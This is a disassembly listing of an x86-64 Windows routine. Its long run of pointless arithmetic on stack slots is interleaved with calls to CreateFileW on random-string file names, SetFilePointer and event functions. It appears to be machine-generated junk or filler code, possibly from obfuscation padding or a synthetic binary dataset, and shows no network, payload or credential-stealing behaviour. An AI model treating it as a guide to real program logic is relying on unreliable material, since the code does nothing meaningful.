mov dword [rsp + 0x2704], eax
movsx eax, byte [rsp + 0x605]
movsx ecx, byte [0x1400fd137]
sub eax, ecx
mov byte [rsp + 0x549], al
mov rax, qword [rsp + 0x1fc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2940]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3c90], rax
movzx eax, word [rsp + 0x310]
mov word [rsp + 0x35d0], ax
movzx eax, word [0x1400fc410]
mov word [0x1400fd8c4], ax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1c68]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1460]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4df8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3f70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x161c], ax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf48]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1828]
mov byte [rcx], al
mov eax, dword [rsp + 0x2698]
mov rcx, qword [rsp + 0x14c0]
mov qword [rsp + 0x4e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e00]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x269c], eax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.M6fBtiftGhvfiCh5sq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4180], rax
mov rcx, qword [rsp + 0x2948]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x211c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5506
mov rcx, qword [rsp + 0x4040]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ac0], eax
mov rax, qword [rsp + 0x3f58]
mov eax, dword [rax]
mov dword [rsp + 0x42c8], eax
movsx eax, byte [0x1400fd137]
mov rcx, qword [rsp + 0x2518]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x22d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1c60]
mov rcx, qword [rsp + 0x3980]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e08], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x56b0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x29b1
mov rcx, qword [rsp + 0x4168]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13f0], eax
movsx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x3170]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2498]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3f60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6dc]
add eax, ecx
mov word [0x1400fd450], ax
mov rax, qword [rsp + 0x3f68]
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x12a8]
mov rcx, qword [0x1400fc388]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3010], rax
movsx eax, word [rsp + 0x159c]
movsx ecx, word [rsp + 0x4cc]
sar eax, cl
mov word [rsp + 0x15a0], ax
mov rax, qword [rsp + 0x1a20]
movzx eax, word [rax]
mov word [rsp + 0x204c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa582
mov rcx, qword [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42c4], eax
mov rcx, qword [rsp + 0x3260]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x18a8]
mov rcx, qword [0x1400fc3d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e10]
mov qword [rcx], rax
lea rax, [rsp + 0x10b]
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x10fc], eax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov rcx, qword [0x1400fc578]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb38]
mov qword [rcx], rax
lea rax, [rsp + 0x310]
mov qword [0x1400fd8c8], rax
mov rax, qword [rsp + 0x3f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1650], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc954
mov rcx, qword [rsp + 0x2b88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
movzx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3f78]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3b20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x97d5
mov rcx, qword [rsp + 0x3890]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
lea rax, [rsp + 0x2120]
mov qword [rsp + 0x3c40], rax
mov rax, qword [rsp + 0x25b8]
mov rcx, qword [rsp + 0x2428]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1fb8], rax
mov rax, qword [rsp + 0x37e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x38c0]
mov qword [rsp + 0x4e18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e18]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x26a0], eax
lea rax, [rsp + 0x18c8]
mov qword [rsp + 0x3be0], rax
movsx eax, byte [rsp + 0x22d]
mov rcx, qword [rsp + 0x1030]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe42], al
mov rcx, qword [rsp + 0x2cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x398]
mov word [rsp + 0x1e1c], ax
mov rax, qword [rsp + 0x3998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2034]
xor eax, ecx
mov word [0x1400fd63c], ax
mov rax, qword [rsp + 0x2430]
movzx ecx, al
mov rax, qword [rsp + 0x37e8]
shl rax, cl
mov rcx, qword [rsp + 0x37f0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x450]
mov rcx, qword [rsp + 0x3018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x268], ax
mov rax, qword [rsp + 0x37f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1240]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2038], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7e47
mov rcx, qword [rsp + 0x2438]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0x39d8]
mov rcx, qword [rsp + 0x3f80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40c8], rax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov qword [rsp + 0x56c8], rax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x403]
and eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x24b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd28]
mov qword [rsp + 0x4e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3478], eax
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b98]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fc458], rax
movzx eax, byte [rsp + 0x155]
cdq
mov ecx, 0x3e
idiv ecx
mov rcx, qword [rsp + 0x2658]
mov byte [rcx], al
mov rax, qword [rsp + 0x1dc0]
mov eax, dword [rax]
mov dword [rsp + 0x42c0], eax
movsx eax, word [rsp + 0xe90]
movsx ecx, word [rsp + 0x264]
and eax, ecx
mov word [rsp + 0x4e8], ax
mov rax, qword [rsp + 0x3a40]
movzx eax, word [rax]
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0x4e30]
mov rcx, qword [rsp + 0x2d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1eb8], rax
movsx eax, byte [rsp + 0x3f4]
movsx ecx, byte [rsp + 0x2d3]
sub eax, ecx
mov rcx, qword [rsp + 0x17b8]
mov byte [rcx], al
lea rax, [rsp + 0x2124]
mov qword [rsp + 0x56d0], rax
mov rax, qword [rsp + 0x2cd0]
movsx eax, word [rax]
mov rcx, qword [0x1400fd608]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc04], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [0x1400fd8d0], ax
lea rax, [rsp + 0x3f88]
mov qword [rsp + 0x3328], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x2950]
mov qword [rsp + 0x4e38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4e40], rax
mov rax, qword [rsp + 0x12b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3020]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
movsx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x1488]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x203c], ax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
add eax, dword [rsp + 0x13b4]
mov dword [rsp + 0x208], eax
lea rax, [rsp + 0x2ca8]
mov qword [rsp + 0x5078], rax
movsx eax, byte [rsp + 0x3ed]
movsx ecx, byte [rsp + 0x154]
add eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x91b], al
mov rax, qword [rsp + 0x2440]
mov eax, dword [rax]
mov dword [rsp + 0x26fc], eax
movsx eax, word [rsp + 0x1d8]
movsx ecx, word [rsp + 0x15e0]
and eax, ecx
mov word [0x1400fc3b0], ax
movzx eax, word [rsp + 0x394]
movzx ecx, word [rsp + 0x2040]
sar eax, cl
mov rcx, qword [rsp + 0x648]
mov word [rcx], ax
lea rax, [rsp + 0xaa8]
mov qword [rsp + 0x4148], rax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3800]
mov qword [rcx], rax
mov rax, qword [0x1400fd358]
mov rcx, qword [rsp + 0x2678]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2708], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd3c1
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42bc], eax
movsx eax, byte [rsp + 0x91a]
mov rcx, qword [rsp + 0x1b40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x19a0]
shl rax, cl
mov rcx, qword [rsp + 0x3a10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1db8]
movzx eax, word [rax]
mov word [rsp + 0x35cc], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x174
mov rcx, qword [rsp + 0x32f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
movzx eax, word [rsp + 0x44c]
mov rcx, qword [rsp + 0x2620]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5ac], ax
mov rcx, qword [rsp + 0x3260]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26a4], eax
mov rax, qword [rsp + 0x2a18]
mov rcx, qword [0x1400fd4b0]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fc5a0], rax
movzx eax, word [rsp + 0x69c]
mov word [rsp + 0x1e2c], ax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1d28]
sar rax, cl
mov qword [rsp + 0x19c0], rax
mov rax, qword [rsp + 0x31e8]
mov rax, qword [rax]
add rax, qword [0x1400fd320]
mov qword [rsp + 0x1188], rax
lea rax, [rsp + 0x3028]
mov qword [rsp + 0x56d8], rax
mov eax, dword [rsp + 0x21b8]
mov ecx, dword [rsp + 0xbd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc8], eax
lea rax, [0x1400fc384]
mov qword [rsp + 0x40d0], rax
mov rax, qword [rsp + 0x1b80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
cdq
idiv ecx
mov byte [rsp + 0xe7], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.tGuh644919sZRnY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x56e0], rax
mov rax, qword [rsp + 0x2bd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x136]
and eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x1fb0]
movzx eax, word [rax]
mov word [0x1400fd8d4], ax
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0x56e8], rax
movzx eax, word [rsp + 0x34c]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x380], ax
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x50c0], rax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15c]
sar eax, cl
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x4098]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x270c], eax
mov rax, qword [rsp + 0x25b0]
mov rcx, qword [0x1400fd530]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2958]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x140]
and eax, ecx
mov word [rsp + 0x860], ax
movzx eax, word [rsp + 0x704]
mov word [rsp + 0x2074], ax
mov rax, qword [0x1400fd548]
mov rcx, qword [rsp + 0x1760]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400fd790], rax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x3808]
mov qword [rsp + 0x4e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x29b8], rax
mov rax, qword [rsp + 0x25a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2448]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a48], rax
mov rax, qword [rsp + 0x3328]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32b0]
sar rax, cl
mov qword [rsp + 0x2960], rax
movzx eax, word [rsp + 0x2044]
mov rcx, qword [rsp + 0x3380]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3ff8]
mov word [rcx], ax
lea rax, [0x1400fc384]
mov qword [rsp + 0x4030], rax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x91b]
add eax, ecx
mov byte [rsp + 0x91c], al
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x56f0], rax
mov rcx, qword [rsp + 0x2450]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0x54f]
sub eax, ecx
mov rcx, qword [rsp + 0x3d30]
mov byte [rcx], al
mov eax, dword [rsp + 0x79c]
mov ecx, dword [rsp + 0x570]
add ecx, eax
mov eax, ecx
mov dword [0x1400fd1d8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2dca
mov rcx, qword [rsp + 0x4e58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2158], eax
movsx eax, word [rsp + 0x15a0]
movsx ecx, word [0x1400fd8d4]
and eax, ecx
mov word [rsp + 0x280], ax
mov rcx, qword [rsp + 0x2ce0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42b8], eax
movzx eax, word [rsp + 0xe94]
mov word [rsp + 0x35c8], ax
movzx eax, word [rsp + 0xbf4]
mov rcx, qword [rsp + 0x1530]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2048], ax
lea rax, [rsp + 0x3aa8]
mov qword [rsp + 0x56f8], rax
mov rax, qword [rsp + 0xdc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x22c]
add eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x1c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1170]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x24d8]
mov qword [rcx], rax
lea rax, [rsp + 0x26a8]
mov qword [rsp + 0x5700], rax
mov rax, qword [rsp + 0xc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe98]
and eax, ecx
mov rcx, qword [rsp + 0x1eb0]
mov word [rcx], ax
lea rax, [rsp + 0x15a4]
mov qword [0x1400fd8d8], rax
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov qword [rsp + 0x5708], rax
movzx eax, word [rsp + 0xbd8]
mov rcx, qword [0x1400fd4a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x204c], ax
mov rax, qword [rsp + 0x4158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22e]
shl eax, cl
mov byte [rsp + 0xe41], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa77b
mov rcx, qword [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x360c], eax
mov rcx, qword [rsp + 0x22a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x11a4], eax
mov eax, dword [rsp + 0xb98]
mov ecx, dword [rsp + 0xb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1398], eax
mov rax, qword [rsp + 0x2518]
movzx eax, byte [rax]
mov byte [rsp + 0x585], al
mov rax, qword [0x1400fd718]
mov rcx, qword [rsp + 0x2588]
mov qword [rsp + 0x4e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2de0], rax
mov rax, qword [rsp + 0x12d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2050], ax
mov rax, qword [rsp + 0x1b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc410], ax
mov rax, qword [rsp + 0x1880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2a90]
add rax, qword [rcx]
mov qword [rsp + 0x1c50], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.S3eIHBAl1uBxaRRivkqbB2s9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5710], rax
mov rax, qword [rsp + 0x2c10]
mov rcx, qword [rsp + 0x3038]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c08], rax
lea rax, [rsp + 0x5f4]
mov qword [rsp + 0x52d8], rax
mov rax, qword [rsp + 0x1258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5b0]
and eax, ecx
mov word [rsp + 0x15a8], ax
lea rax, [rsp + 0x3030]
mov qword [rsp + 0x51a0], rax
mov rax, qword [rsp + 0x1200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2c38]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1bf], al
mov rcx, qword [rsp + 0x3190]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1390], eax
mov eax, dword [rsp + 0x217c]
mov ecx, dword [rsp + 0x998]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3100]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1020]
mov qword [rsp + 0x3b88], rax
lea rax, [rsp + 0xc00]
mov qword [0x1400fd8e0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe1e6
mov rcx, qword [rsp + 0x3b78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2128], eax
movzx eax, word [rsp + 0x700]
movzx ecx, word [rsp + 0x214]
shl eax, cl
mov rcx, qword [rsp + 0x3188]
mov word [rcx], ax
lea rax, [rsp + 0x272c]
mov qword [rsp + 0x5718], rax
movzx eax, byte [rsp + 0xf5]
movzx ecx, byte [rsp + 0x139]
or eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x14d0]
mov qword [rsp + 0x5308], rax
mov rax, qword [rsp + 0x1340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1510]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x583], al
mov rax, qword [rsp + 0x1af0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3810]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2a38]
mov qword [rcx], rax
lea rax, [0x1400fc46c]
mov qword [rsp + 0x5720], rax
mov rax, qword [rsp + 0x1698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2a00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov word [rcx], ax
mov rax, qword [rsp + 0x1fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2bc0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc5a8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5728], rax
mov rax, qword [0x1400fd708]
mov rcx, qword [rsp + 0x2968]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x38f0], rax
mov rax, qword [rsp + 0x3a40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [0x1400fd240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x168]
and eax, ecx
mov word [rsp + 0x460], ax
mov rax, qword [rsp + 0x1c48]
mov rax, qword [rax]
mov qword [rsp + 0x4f88], rax
mov eax, dword [rsp + 0x1abc]
mov ecx, dword [rsp + 0x63c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x12a2
mov rcx, qword [rsp + 0x3060]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
lea rax, [rsp + 0x135]
mov qword [rsp + 0x5070], rax
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2098]
add rax, qword [rcx]
mov qword [rsp + 0x1208], rax
movzx eax, word [rsp + 0x384]
mov rcx, qword [rsp + 0x3320]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x3038]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fc3f8], rax
mov rax, qword [rsp + 0x2b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3474], eax
mov rcx, qword [rsp + 0x2970]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
movzx eax, byte [rsp + 0x584]
mov rcx, qword [rsp + 0x4020]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x230], al
mov eax, 0x38
imul rax, rax, 4
mov byte [rsp + rax + 0x5b91], 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.yY55h5y9db1v3ZenlBV4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5730], rax
movzx eax, word [rsp + 0x350]
mov word [rsp + 0x1dd8], ax
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1168]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x244], ax
mov rax, qword [rsp + 0x1c00]
mov rcx, qword [rsp + 0x22c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3820], rax
mov rcx, qword [rsp + 0x3fa0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2980]
mov rcx, qword [rsp + 0x2988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3470], eax
mov rax, qword [rsp + 0x2bd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x24a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x404], al
lea rax, [rsp + 0x5c0]
mov qword [rsp + 0x3a28], rax
mov rax, qword [rsp + 0x3340]
movzx eax, word [rax]
mov word [0x1400fd8e8], ax
mov rax, qword [rsp + 0x18b8]
mov rcx, qword [rsp + 0x3fa8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3040]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf58]
mov rax, qword [rax]
mov qword [rsp + 0x5038], rax
mov rax, qword [rsp + 0x3828]
mov rcx, qword [rsp + 0x2ca0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1fa0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x240]
mov rcx, qword [rsp + 0x2468]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x218], ax
lea rax, [0x1400fc383]
mov qword [rsp + 0x3c30], rax
mov rax, qword [rsp + 0x3830]
mov rcx, qword [rsp + 0x12c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x13c0], eax
mov rax, qword [rsp + 0xf98]
mov qword [rsp + 0x4ef0], rax
mov rax, qword [rsp + 0x40d0]
mov rcx, qword [rsp + 0x14c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9fc], eax
mov rax, qword [rsp + 0x4140]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x30d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x3170]
movsx eax, word [rax]
mov rcx, qword [0x1400fd1b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fd1dc], ax
movzx eax, word [rsp + 0x3a0]
movzx ecx, word [rsp + 0x564]
xor eax, ecx
mov word [rsp + 0x15b0], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2054]
shl eax, cl
mov word [rsp + 0x288], ax
lea rax, [0x1400fc428]
mov qword [rsp + 0x5738], rax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x583]
sar eax, cl
mov rcx, qword [rsp + 0x2990]
mov byte [rcx], al
mov rax, qword [rsp + 0x12c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcd74
mov rcx, qword [rsp + 0x3838]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11a8], eax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x5740], rax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42b4], eax
mov rax, qword [rsp + 0x3840]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5f4]
sub eax, ecx
mov rcx, qword [rsp + 0x18b0]
mov word [rcx], ax
